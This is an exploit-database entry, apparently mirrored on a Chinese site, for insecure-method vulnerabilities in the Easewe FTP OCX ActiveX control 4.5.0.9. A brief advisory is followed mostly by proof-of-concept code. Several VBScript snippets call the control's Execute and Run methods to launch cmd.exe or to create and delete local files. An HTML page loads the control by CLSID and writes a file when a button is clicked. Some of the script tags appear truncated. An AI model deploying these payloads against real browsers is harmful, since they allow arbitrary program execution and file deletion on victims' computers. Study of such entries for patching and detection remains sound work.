发布 2011-06-22 漏洞条目

Easewe FTP OCX ActiveX Control 4.5.0.9 – ‘EaseWeFtp.ocx’ Multiple Insecure Method Vulnerabilities

Exploit Source

source: https://www.securityfocus.com/bid/48393/info

Easewe FTP OCX ActiveX control is prone to multiple insecure-method vulnerabilities.

Attackers can exploit these issues to perform unauthorized actions or execute arbitrary programs. Successful exploits may result in compromise of affected computers.

Easewe FTP OCX ActiveX control 4.5.0.9 is vulnerable; other versions may also be affected.

<html>

Sub Boom()

arg1="c:\windows\system32\cmd.exe"

arg2=""

arg3=1

target.Execute arg1 ,arg2 ,arg3

End Sub

</script>

</html>

<html>

Sub Boom()

arg1="c:\windows\system32\cmd.exe"

arg2=""

arg3=1

target.Run arg1 ,arg2 ,arg3

End Sub

</script>

</html>

<html>

Sub Boom()

arg1="FilePath\Filename_to_create"

target.CreateLocalFile arg1

End Sub

</script>

</html>

<html>

Sub Boom()

arg1="Directorypath\Directory"

target.CreateLocalFolder arg1

End Sub

</script>

</html>

<html>

Sub Boom()

arg1="FilePath\Filename_to_delete"

target.DeleteLocalFile arg1

End Sub

</script>

</html>

<HTML>

Easewe FTP(EaseWeFtp.ocx) Insecure Method Exploit<br>

<br>

Description There is Insecure Method in (LocalFileCreate) fonction<br>

Found By : coolkaveh<br>

<title>Exploited By : coolkaveh </title>

<BODY>

<object id=cyber

classid="clsid:{31AE647D-11D1-4E6A-BE2D-90157640019A}"></object>

function Do_it()

{

File = "kaveh.txt"

cyber.LocalFileCreate(File)

}

</SCRIPT>

<input language=JavaScript onclick=Do_it() type=button value="Click

here To Test"><br>

</body>

</HTML>

作者: High-Tech Bridge SA
日期: 2011-06-22
类别: dos
平台: windows

相关漏洞条目

strongSwan 5.9.13 – DoS

Xlight FTP 1.1 – Denial Of Service (DOS)

Windows TCP/IP – RCE Checker and Denial of Service

RouterOS 6.40.5 – 6.44 and 6.48.1 – 6.49.10 – Denial of Service